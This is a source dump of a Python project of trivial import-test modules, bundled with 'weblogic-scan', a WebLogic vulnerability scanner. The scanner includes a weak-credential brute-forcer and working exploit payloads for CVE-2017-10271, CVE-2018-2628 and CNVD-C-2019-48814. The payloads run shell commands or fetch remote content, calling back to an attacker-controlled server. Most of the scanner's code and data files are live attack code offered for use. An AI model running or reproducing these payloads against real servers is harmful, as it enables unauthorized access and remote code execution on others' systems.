/测试项目/test/__pycache__/test3.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test3.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/__pycache__/test7.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test7.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/__pycache__/test8.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test8.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/__pycache__/test_main.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test_main.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/__pycache__/testpure.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/testpure.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test12/__pycache__/test4.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/__pycache__/test4.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test12/__pycache__/test6.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/__pycache__/test6.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test12/test121/__pycache__/test1211.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/test121/__pycache__/test1211.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test12/test121/test1211.py:
--------------------------------------------------------------------------------
1 |
2 | def test1211():
3 | return 100
--------------------------------------------------------------------------------
/测试项目/test/test12/test4.py:
--------------------------------------------------------------------------------
1 |
2 | def test4():
3 | return 4
--------------------------------------------------------------------------------
/测试项目/test/test12/test6.py:
--------------------------------------------------------------------------------
1 |
2 | def test6(var1):
3 | return 10 * var1
--------------------------------------------------------------------------------
/测试项目/test/test2.py:
--------------------------------------------------------------------------------
1 | #dep test3
2 |
3 | from test12 import test6, test4
4 | from test12.test121.test1211 import test1211
5 | import test34
6 |
7 | def test2():
8 | return __import__('test3').test3() + __import__('test3').var + test6.test6(2) + test4.test4() + test1211() + test34.a
--------------------------------------------------------------------------------
/测试项目/test/test3.py:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | from test7 import test7_class
5 | import os
6 | from test12 import test6
7 | from test12.test121 import test1211
8 |
9 | var = 2
10 |
11 | def test3():
12 | b = test7_class(1)
13 | return 1 + b.getRes() + test6.test6(2) + test1211.test1211()
--------------------------------------------------------------------------------
/测试项目/test/test34/__init__.py:
--------------------------------------------------------------------------------
1 | import testpure
2 |
3 | a = 3 + testpure.a
--------------------------------------------------------------------------------
/测试项目/test/test34/__pycache__/__init__.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/__init__.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test34/__pycache__/test341.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/test341.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test34/__pycache__/test342.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/test342.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test34/test341.py:
--------------------------------------------------------------------------------
1 | #from . import test342
2 |
3 | from test34 import test9
4 |
5 | def test341():
6 | return 1 + test9.b
7 |
8 | class test123():
9 | @staticmethod
10 | def test123():
11 | return 123
--------------------------------------------------------------------------------
/测试项目/test/test34/test342.py:
--------------------------------------------------------------------------------
1 |
2 | def a():
3 | return 10
--------------------------------------------------------------------------------
/测试项目/test/test34/test9/__init__.py:
--------------------------------------------------------------------------------
1 | b=1
--------------------------------------------------------------------------------
/测试项目/test/test34/test9/__pycache__/__init__.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/test9/__pycache__/__init__.cpython-37.pyc
--------------------------------------------------------------------------------
/测试项目/test/test7.py:
--------------------------------------------------------------------------------
1 |
2 | import math
3 | import test8
4 | from test12 import test4
5 |
6 | class test7_class():
7 | def __init__(self, a):
8 | self.a = a
9 |
10 | def getRes(self):
11 | return self.a * 2 + test8.test8() + test4.test4()
--------------------------------------------------------------------------------
/测试项目/test/test8.py:
--------------------------------------------------------------------------------
1 | from test34 import test341
2 |
3 | def test8():
4 | return 20 + test341.test341()
--------------------------------------------------------------------------------
/测试项目/test/test_main.py:
--------------------------------------------------------------------------------
1 |
2 | import test2
3 | from test34.test341 import test123
4 |
5 | def main():
6 | print(test2.test2() + 1 + test123.test123())
7 |
--------------------------------------------------------------------------------
/测试项目/test/testpure.py:
--------------------------------------------------------------------------------
1 |
2 | a: int = 7
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/.gitignore:
--------------------------------------------------------------------------------
1 | *.py[cod]
2 | *.so
3 | *.egg
4 | *.egg-info
5 | dist
6 | build
7 | .idea
8 | url.txt
9 | config.py
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/weblogic-scan-master/1.png
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/README.md:
--------------------------------------------------------------------------------
1 | # weblogic-scan
2 | weblogic 漏洞扫描工具
3 | ~~妄想~~试图weblogic一把梭
4 | 目前检测的功能
5 |
6 | - [x] console 页面探测 & 弱口令扫描
7 | - [x] uuid页面的SSRF
8 | - [x] CVE-2017-10271 wls-wsat页面的反序列化
9 | - [x] CVE-2018-2628 反序列化
10 | - [x] CNVD-C-2019-48814
11 |
12 | 后期可以的话还会继续加功能的,主要是一些反序列化的poc真的不好写,我也不咋会..
13 |
14 | # USE
15 |
16 | **使用前请先填写`config.py`中的`server`参数**
17 | 推荐配合`http://ceye.io`之类的工具使用,server格式为`http://xxx.ceye.io`
18 |
19 | 使用方式比较简单,目前支持两种模式
20 |
21 | 1、扫描url.txt中的所有url
22 |
23 | ```
24 | python3 weblogic-scan
25 | ```
26 |
27 | 2、扫描单一的url
28 |
29 | ```
30 | python3 weblogic-scan 127.0.0.1:7001
31 | ```
32 |
33 | 
34 |
35 | console弱口令和CVE-2018-2628的扫描结果会直接在控制台中输出。
36 |
37 | uuid页面的SSRF以及wls-wsat反序列化会在server服务器中留下日志文件。
38 | 会在域名前带上受影响机子的地址,这样扫描多个地址的时候方便做区分。
39 |
40 | 
41 |
42 | # prepare
43 |
44 | ## ENV
45 |
46 | - version: python3
47 | - expand : requests
48 |
49 | ## config.py
50 |
51 | - timeout:
52 | 自定义timeout的时间,包括requests和socket的timeout
53 | - **server**(没有默认值,务必填写):
54 | 由于一些exp发送后具体有没有成功需要看服务器是否有数据返回
55 | 需要一个服务器来接受这种数据,例如`http://ceye.io`
56 | 攻击成功会在dns记录以及http的log部分留下数据
57 |
58 | ## url.txt
59 |
60 | 支持如下几种格式的url
61 |
62 | - 127.0.0.1
63 | - 127.0.0.1:7001
64 | - http://127.0.0.1
65 | - http://127.0.0.1:7001
66 | - https://127.0.0.1
67 | - http://127.0.0.1:7001
68 |
69 | 不填写端口默认端口为80,https起头的默认端口为443
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/dict/CVE-2018-2628-data.txt:
--------------------------------------------------------------------------------
1 | AAAFwwFlAf//////////AAAAagAA6mAAAAAZAJN7SEpW+kp3dmb1gdqk9bkOKuv8YHSZtAJ5c3IAeHIBeHICeHAAAAAKAAAAAwAAAAAAAAAGAHBwcHBwcAAAAAoAAAADAAAAAAAAAAYAcAb+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACEkABW1ham9ySQAFbWlub3JJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAKaW1wbFZlbmRvcnEAfgADTAALaW1wbFZlcnNpb25xAH4AA3hwdwIAAHj+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFja2FnZUluZm87TAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACEkABW1ham9ySQAFbWlub3JJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxlcQB+AARMAAppbXBsVmVuZG9ycQB+AARMAAtpbXBsVmVyc2lvbnEAfgAEeHB3AgAAeP4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAIXdlYmxvZ2ljLmNvbW1vbi5pbnRlcm5hbC5QZWVySW5mb1hUdPObyQjxAgAGSQAFbWFqb3JJAAVtaW5vckkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hbAAhwYWNrYWdlc3QAJ1tMd2VibG9naWMvY29tbW9uL2ludGVybmFsL1BhY2thZ2VJbmZvO3hyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzcQ==
2 | AH4AA0wADnJlbGVhc2VWZXJzaW9udAASTGphdmEvbGFuZy9TdHJpbmc7WwASdmVyc2lvbkluZm9Bc0J5dGVzdAACW0J4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAhJAAVtYWpvckkABW1pbm9ySQAMcm9sbGluZ1BhdGNoSQALc2VydmljZVBhY2taAA50ZW1wb3JhcnlQYXRjaEwACWltcGxUaXRsZXEAfgAFTAAKaW1wbFZlbmRvcnEAfgAFTAALaW1wbFZlcnNpb25xAH4ABXhwdwIAAHj+AP/+AQAArO0ABXNyABN3ZWJsb2dpYy5yanZtLkpWTUlE3EnCPt4SHioMAAB4cHdQIQAAAAAAAAAAAA0xOTIuMTY4LjEuMjI3ABJXSU4tQUdETVZRVUIxVDYuZWiDNIzWAAAABwAAG1n///////////////////////////////94/gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3IAEU3EK9Bw==
3 | GncnAA0yNDIuMjE0
4 | LjEuMjU0YYY9HQAAAAB4
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/dict/CVE-2018-2628-evildata.txt:
--------------------------------------------------------------------------------
1 | AAADuwVlCAAAAAEAAAAbAAAAXQEBAHNyAXhwc3ICeHAAAAAAAAAAAHVyA3hwAAAAAHh0AAh3ZWJsb2dpY3VyBHhwAAAADJyXmpqMmpvPz5uTmnQACHdlYmxvZ2ljBv4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAAltCrPMX+AYIVOACAAB4cHcCAAB4/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHB3AgAAeP4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHB3AgAAeP4BAACs7QAFc30AAAABAB1qYXZhLnJtaS5hY3RpdmF0aW9uLkFjdGl2YXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAC1qYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN0SW52b2NhdGlvbkhhbmRsZXIAAAAAAAAAAgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc3AApVbmljYXN0UmVmAA4xMDQuMjUxLjIyOC41MAAAG1kAAAAAAe6pCwAAAAAAAAAAAAAAAAAAAHj+AQAArO0ABXNyACV3ZWJsb2dpYy5yanZtLkltbXV0YWJsZVNlcnZpY2VDb250ZXh03cuocGOG8LoMAAB4cgApd2VibG9naWMucm1pLnByb3ZpZGVyLkJhc2ljU2VydmljZUNvbnRleHTkYyI2xdSnHgwAAHhwdwIGAHNyACZ3ZWJsb2dpYy5ybWkuaW50ZXJuYWwuTWV0aG9kRGVzY3JpcHRvchJIWoKK9/Z7DAAAeHB3NAAuYXV0aGVudGljYXRlKEx3ZWJsb2dpYy5zZWN1cml0eS5hY2wuVXNlckluZm87KQAAABt4eP4A/w==
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/dict/weakpass.txt:
--------------------------------------------------------------------------------
1 | system:password
2 | system:system
3 | system:security
4 | system:123456
5 | system:system123
6 | weblogic:weblogic
7 | weblogic:weblogic123
8 | weblogic:admin
9 | weblogic:admin123
10 | weblogic:123456
11 | weblogic:Weblogic123
12 | admin:admin
13 | admin:admin123
14 | admin:security
15 | joe:password
16 | mary:password
17 | portaladmin:portaladmin
18 | guest:guest
19 | wlcsystem:password
20 | wlcsystem:wlcsystem
21 | wlpisystem:password
22 | wlpisystem:wlpisystem
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/lib/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author: kingkk
3 | # @Date: 2018-11-06 19:30:12
4 | # @Last Modified by: kingkk
5 | # @Last Modified time: 2018-11-06 19:30:16
6 | import sys
7 | sys.path.append('../')
8 |
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/lib/display.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author: kingkk
3 | # @Date: 2018-11-07 11:36:49
4 | # @Last Modified by: kingkk
5 | # @Last Modified time: 2018-11-07 16:40:02
6 | def warning(string, *args, **kwargs):
7 | print('\033[31m{}\033[31m'.format(string), *args, **kwargs)
8 |
9 | def success(string, *args, **kwargs):
10 | print('\033[32m{}\033[32m'.format(string), *args, **kwargs)
11 |
12 | def info(string, *args, **kwargs):
13 | print('\033[33m{}\033[33m'.format(string), *args, **kwargs)
14 |
15 | def primary(string, *args, **kwargs):
16 | print('\033[34m{}\033[34m'.format(string), *args, **kwargs)
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/lib/prepare.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author: kingkk
3 | # @Date: 2018-11-08 15:09:07
4 | # @Last Modified by: King kaki
5 | # @Last Modified time: 2019-05-17 15:48:23
6 | import re
7 | from urllib.parse import urlparse
8 | from lib.display import *
9 | from lib.vuln import *
10 |
11 |
12 | banner = r""" _ _ _
13 | __ _____| |__ | | ___ __ _(_) ___ ___ ___ __ _ _ __
14 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __|____/ __|/ __/ _` | '_ \
15 | \ V V / __/ |_) | | (_) | (_| | | (_______\__ \ (__ (_| | | | |
16 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |___/\___\__,_|_| |_|
17 | |___/
18 |
19 | github: https://github.com/kingkaki/weblogic-scan
20 | """
21 |
22 | helper = '''[!] wrong format
23 | 1: python {name}
24 | scan all url in url.txt
25 | 2: python {name} target
26 | scan only one target
27 | E.g: python {name} 127.0.0.1:7001'''
28 |
29 | def url2target(url):
30 | if url.startswith('https'):
31 | target = urlparse(url).netloc
32 | if ':' not in target:
33 | target = target + ':443'
34 | elif url.startswith('http'):
35 | target = urlparse(url).netloc
36 | if ':' not in target:
37 | target = target + ':80'
38 | else:
39 | target = urlparse(url).path
40 | if ':' not in target:
41 | target = target + ':80'
42 | return target
43 |
44 | def mode1():
45 | # mode1 扫描字典中的所有url
46 | with open("url.txt","r") as f:
47 | targets = [url2target(target.strip()) for target in f.readlines()]
48 | for target in targets:
49 | try:
50 | uuid_SSRF(target)
51 | console(target)
52 | CVE_2017_10271(target)
53 | CVE_2018_2628(target)
54 | CNVD_C_2019_48814(target)
55 | except requests.exceptions.ConnectionError as e:
56 | info("[-] is busy: {}".format(target))
57 | except requests.exceptions.ReadTimeout as e:
58 | info("[-] time out: {}".format(target))
59 | except KeyboardInterrupt as e:
60 | warning("[!] user aborted")
61 | exit()
62 |
63 | def mode2(url):
64 | # mode2 扫描单个url
65 | target = url2target(url.strip())
66 | try:
67 | uuid_SSRF(target)
68 | console(target)
69 | CVE_2017_10271(target)
70 | CVE_2018_2628(target)
71 | CNVD_C_2019_48814(target)
72 | except requests.exceptions.ConnectionError as e:
73 | info("[-] is busy: {}".format(target))
74 | except requests.exceptions.ReadTimeout as e:
75 | info("[-] time out: {}".format(target))
76 | except KeyboardInterrupt as e:
77 | warning("[!] user aborted")
78 | exit()
79 |
80 | def test_mode(url, poc):
81 | # 测试专用
82 | target = url2target(url.strip())
83 | try:
84 | from lib import vuln
85 | poc = getattr(vuln, poc)
86 | poc(target)
87 | except AttributeError as e:
88 | warning("[!] {} doesn't existed!".format(poc))
89 | except requests.exceptions.ConnectionError as e:
90 | info("[-] is busy: {}".format(target))
91 | except requests.exceptions.ReadTimeout as e:
92 | info("[-] time out: {}".format(target))
93 | except KeyboardInterrupt as e:
94 | warning("[!] user aborted")
95 | exit()
96 |
97 |
98 |
99 |
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/lib/vuln.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author: kingkk
3 | # @Date: 2018-11-06 19:31:09
4 | # @Last Modified by: kingkk
5 | # @Last Modified time: 2019-05-15 19:46:08
6 | import requests
7 | import re
8 | import time
9 | import socket
10 | import base64
11 | import warnings
12 | from config import TIMEOUT
13 | from lib.display import *
14 | import sys
15 | warnings.filterwarnings("ignore")
16 |
17 |
18 | def weakpass(host, port):
19 | up_list = []
20 | url = 'http://{}:{}/console/j_security_check'.format(host, port)
21 | headers = {
22 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
23 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
24 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
25 | }
26 |
27 | with open("dict/weakpass.txt","r") as f:
28 | for up in f.readlines():
29 | if up == '\n':
30 | continue
31 | else:
32 | up_list.append(tuple(up.strip().split(":")))
33 |
34 | for user, passwd in up_list:
35 | data = {'j_username': user, 'j_password': passwd}
36 | r = requests.post(url, data=data, headers=headers,timeout=TIMEOUT)
37 |
38 | info('[*] weakpass test - {}:{}'.format(user, passwd), end="\r")
39 | if r.text.count('Home Page') != 0 or r.text.count('WebLogic Server Console') != 0 or r.text.count('console.portal') != 0:
40 | success('[+] weak passwd!: {}:{} - {}:{}'.format(host, port, user, passwd))
41 | return
42 | info('[*] weakpass failed - {}:{}\t'.format(host, port))
43 |
44 |
45 | def console(target):
46 | host, port = target.split(":")
47 | if int(port) == 443:
48 | url = 'https://{}/console/login/LoginForm.jsp'.format(host)
49 | else:
50 | url = 'http://{}:{}/console/login/LoginForm.jsp'.format(host, port)
51 | headers = {
52 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
53 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
54 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
55 | }
56 |
57 | r = requests.get(url, headers=headers, timeout=TIMEOUT)
58 |
59 |
60 | if r.status_code == 200 and 'Oracle WebLogic Server 管理控制台' in r.text and 'Oracle 是 Oracle Corporation 和/或其子公司的注册商标' in r.text:
61 | success('[+] console find: {}'.format(target))
62 | weakpass(host, port)
63 | else:
64 | info('[-] console not find: {}'.format(target))
65 |
66 |
67 |
68 |
69 |
70 | def uuid_SSRF(target):
71 | from config import server
72 | host, port = target.split(":")
73 | if int(port) == 443:
74 | url = 'https://{}/uddiexplorer/SearchPublicRegistries.jsp'.format(host)
75 | else:
76 | url = 'http://{}:{}/uddiexplorer/SearchPublicRegistries.jsp'.format(host, port)
77 |
78 | headers = {
79 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
80 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
81 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
82 | }
83 | server_host = re.search(r'https?://([^/]+)', server)
84 | try:
85 | server_host = server_host.group(1)
86 | except:
87 | server_host = server
88 | params = {
89 | "operator":"http://{}.{}".format(host, server_host),
90 | "rdoSearch":"name",
91 | "txtSearchname":"sdf",
92 | "selfor":"Business+location",
93 | "btnSubmit":"Search"
94 | }
95 |
96 |
97 | r = requests.get(url, params=params,verify=False, headers=headers, timeout=TIMEOUT)
98 |
99 | # 页面发现
100 | # if 'Oracle WebLogic Server' in r.text and r.status_code == 200:
101 | # print('[x] pagefind: {}'.format(url))
102 | primary("[+] uuid_ssrf: {}".format(target))
103 |
104 | def CVE_2017_10271(target):
105 | from config import server
106 | host, port = target.split(":")
107 | if int(port) == 443:
108 | url = 'https://{}/wls-wsat/CoordinatorPortType'.format(host)
109 |
110 | else:
111 | url = 'http://{}:{}/wls-wsat/CoordinatorPortType'.format(host, port)
112 | headers = {
113 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
114 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
115 | "Content-Type": "text/xml",
116 | "Accept-Encoding": "gzip, deflate",
117 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
118 | }
119 | server_host = re.search(r'http://([^/]+)', server)
120 | try:
121 | server_host = server_host.group(1)
122 | except:
123 | server_host = server
124 | # print(server_host)
125 | data = '''
126 |
127 |
128 |
129 |
130 |
131 | /bin/bash
132 |
133 |
134 | -c
135 |
136 |
137 | ping {}.{}
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 | '''.format(host, server_host)
146 |
147 |
148 | r = requests.post(url, data=data,verify=False, headers=headers, timeout=TIMEOUT)
149 |
150 | # print(r.request.url)
151 | # print(r.request.headers)
152 | # print(r.request.body)
153 | primary("[+] CVE wls-wsat: {}".format(target))
154 |
155 | def CVE_2018_2628(target):
156 | def t3handshake(sock,server_addr):
157 | try:
158 | sock.connect(server_addr)
159 | sock.send(base64.b64decode('dDMgMTIuMi4xCkFTOjI1NQpITDoxOQpNUzoxMDAwMDAwMAoK'))
160 | time.sleep(0.5)
161 | sock.recv(1024)
162 | except :
163 | pass
164 |
165 | def buildT3RequestObject(sock,port):
166 | try:
167 | with open('dict/CVE-2018-2628-data.txt', "r") as f:
168 | datas = [ data.strip() for data in f.readlines()]
169 |
170 | for d in datas:
171 | sock.send(base64.b64decode(d))
172 | time.sleep(0.5)
173 | recv_l = len(sock.recv(2048))
174 | if recv_l == 0:
175 | info('[-] CVE-2018-2628 recv {} :{} '.format(recv_l, target))
176 | else:
177 | success('[*] CVE-2018-2628 recv {} :{} '.format(recv_l, target))
178 | except:
179 | pass
180 |
181 | def sendEvilObjData(sock):
182 | with open("dict/CVE-2018-2628-evildata.txt", "r") as f:
183 | payload = base64.b64decode(f.read())
184 |
185 | try:
186 | sock.send(payload)
187 | time.sleep(1.5)
188 | sock.send(payload)
189 | except:
190 | pass
191 | res = b''
192 | try:
193 | for i in range(3):
194 | res += sock.recv(4096)
195 | time.sleep(0.1)
196 | except Exception as e:
197 | pass
198 | return res
199 |
200 | def checkVul(res,server_addr):
201 | # print(len(str(res)))
202 | p=re.findall('\\$Proxy[0-9]+', str(res), re.S)
203 | if len(p)>0:
204 | success('[+] CVE-2018-2628 vul: {}'.format(target))
205 | else:
206 | info('[-] CVE-2018-2628 not vul: {}'.format(target))
207 |
208 | host, port = target.split(":")
209 | port = int(port)
210 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
211 | sock.settimeout(TIMEOUT)
212 | server_addr = (host, port)
213 | t3handshake(sock,server_addr)
214 | buildT3RequestObject(sock,port)
215 | rs=sendEvilObjData(sock)
216 | checkVul(rs,server_addr)
217 |
218 | def CNVD_C_2019_48814(target):
219 | from config import server
220 | host, port = target.split(":")
221 | if int(port) == 443:
222 | url = 'https://{}/_async/AsyncResponseServicee'.format(host)
223 |
224 | else:
225 | url = 'http://{}:{}/_async/AsyncResponseService'.format(host, port)
226 | headers = {
227 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
228 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
229 | "Content-Type": "text/xml",
230 | "Accept-Encoding": "gzip, deflate",
231 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
232 | }
233 | server_host = re.search(r'http://([^/]+)', server)
234 | try:
235 | server_host = server_host.group(1)
236 | except:
237 | server_host = server
238 | data = '''
239 |
240 | xx
241 | xx
242 |
243 |
244 | com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
245 |
246 | http://{}.{}
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 | '''.format(host, server_host)
256 |
257 | r = requests.post(url, data=data,verify=False, headers=headers, timeout=TIMEOUT)
258 |
259 | primary("[+] CNVD-C-2019-48814: {}".format(target))
260 |
261 |
262 | def test():
263 | print("test")
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/weblogic-scan.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/weblogic-scan-master/weblogic-scan.gif
--------------------------------------------------------------------------------
/测试项目/weblogic-scan-master/weblogic_scan.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Author: kingkk
3 | # @Date: 2018-11-06 19:12:26
4 | # @Last Modified by: kingkk
5 | # @Last Modified time: 2019-05-15 19:05:38
6 |
7 | import config
8 | from lib.display import *
9 | from lib import prepare
10 | import sys
11 |
12 | def main():
13 | success(prepare.banner)
14 | if config.server == '':
15 | info("[!] plz input recv_server or fill in config.py:", end=" ")
16 | config.server = input()
17 | if len(sys.argv) == 1:
18 | prepare.mode1()
19 | elif len(sys.argv) == 2:
20 | prepare.mode2(sys.argv[1])
21 | elif len(sys.argv) == 3:
22 | prepare.test_mode(sys.argv[1], sys.argv[2])
23 | else:
24 | info(prepare.helper.format(name=sys.argv[0]))
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------